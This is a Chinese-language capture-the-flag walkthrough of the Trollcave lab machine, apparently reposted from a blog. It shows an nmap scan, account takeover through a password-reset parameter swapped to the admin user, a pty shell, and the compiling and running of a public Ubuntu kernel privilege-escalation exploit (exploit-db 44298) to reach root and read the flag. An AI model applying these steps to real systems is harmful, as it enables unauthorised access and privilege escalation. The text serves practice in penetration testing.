标签:email 连接服务器 一段 authorize head ova 在线的 com 登录管理
nmap -T4 -A 192.168.56.102
Starting Nmap 7.01 ( https://nmap.org ) at 2018-07-16 22:38 CST
Nmap scan report for 192.168.56.102
Host is up (0.00041s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:ab:d7:2e:58:74:aa:86:28:dd:98:77:2f:53:d9:73 (RSA)
|_ 256 57:5e:f4:77:b3:94:91:7e:9c:55:26:30:43:64:b1:72 (ECDSA)
80/tcp open http nginx 1.10.3 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Trollcave
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.60 seconds
ruby-on-rails
框架写的,然后有几篇文章讲关于这个网站的,翻译一下就能知道其中有讲到密码找回的,是新注册的用户才可以的。旁边还有显示在线的用户和新注册的用户。password_reset
后面加new的。详细的可以点这里看一下。http://192.168.56.102/password_resets/new
输入管理员用户King发现不行,因为在上面说了,新注册的用户才可以找回密码。再输入xer这个新注册的用户。Reset email sent. http://192.168.56.102/password_resets/edit.Ec80xGP57IiFEzBpAtx4AQ?name=xer
把name的参数改成管理员用户King,发现可以改掉管理员的密码,改了之后登录管理员看看。http://192.168.56.102/user_files
还有可以开启上传文件的选项。/var/www/trollcave/public/uploads/King/crown.png
python -c ‘import pty;pty.spawn("/bin/bash")‘
获取交互终端。lsb_release -a
查看系统的发行版本,准备exprails@trollcave:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.4 LTS
Release: 16.04
Codename: xenial
rails@trollcave:~$
rails@trollcave:~$ uname -a
Linux trollcave 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
----------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------
Exploit Title | Path
| (/opt/exploit-database/)
----------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | exploits/linux/local/44298.c
----------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------
Shellcodes: No Result
Papers: No Result
cp /opt/exploit-database/exploits/linux/local/44298.c exp.c
gcc exp.c
scp a.out rails@192.168.56.102:a.out
rails@trollcave:~$ ls
rails@trollcave:~$ pwd
/home/rails
rails@trollcave:~$ ls
a.out
rails@trollcave:~$ chmod +x a.out
rails@trollcave:~$ ./a.out
task_struct = ffff880027d29e00
uidptr = ffff88002ac26844
spawning root shell
root@trollcave:~#
root@trollcave:/root# cat flag.txt
et tu, dragon?
c0db34ce8adaa7c07d064cc1697e3d7cb8aec9d5a0c4809d5a0c4809b6be23044d15379c5
root@trollcave:/root#
标签:email 连接服务器 一段 authorize head ova 在线的 com 登录管理
原文地址:https://www.cnblogs.com/Kali-Team/p/12211011.html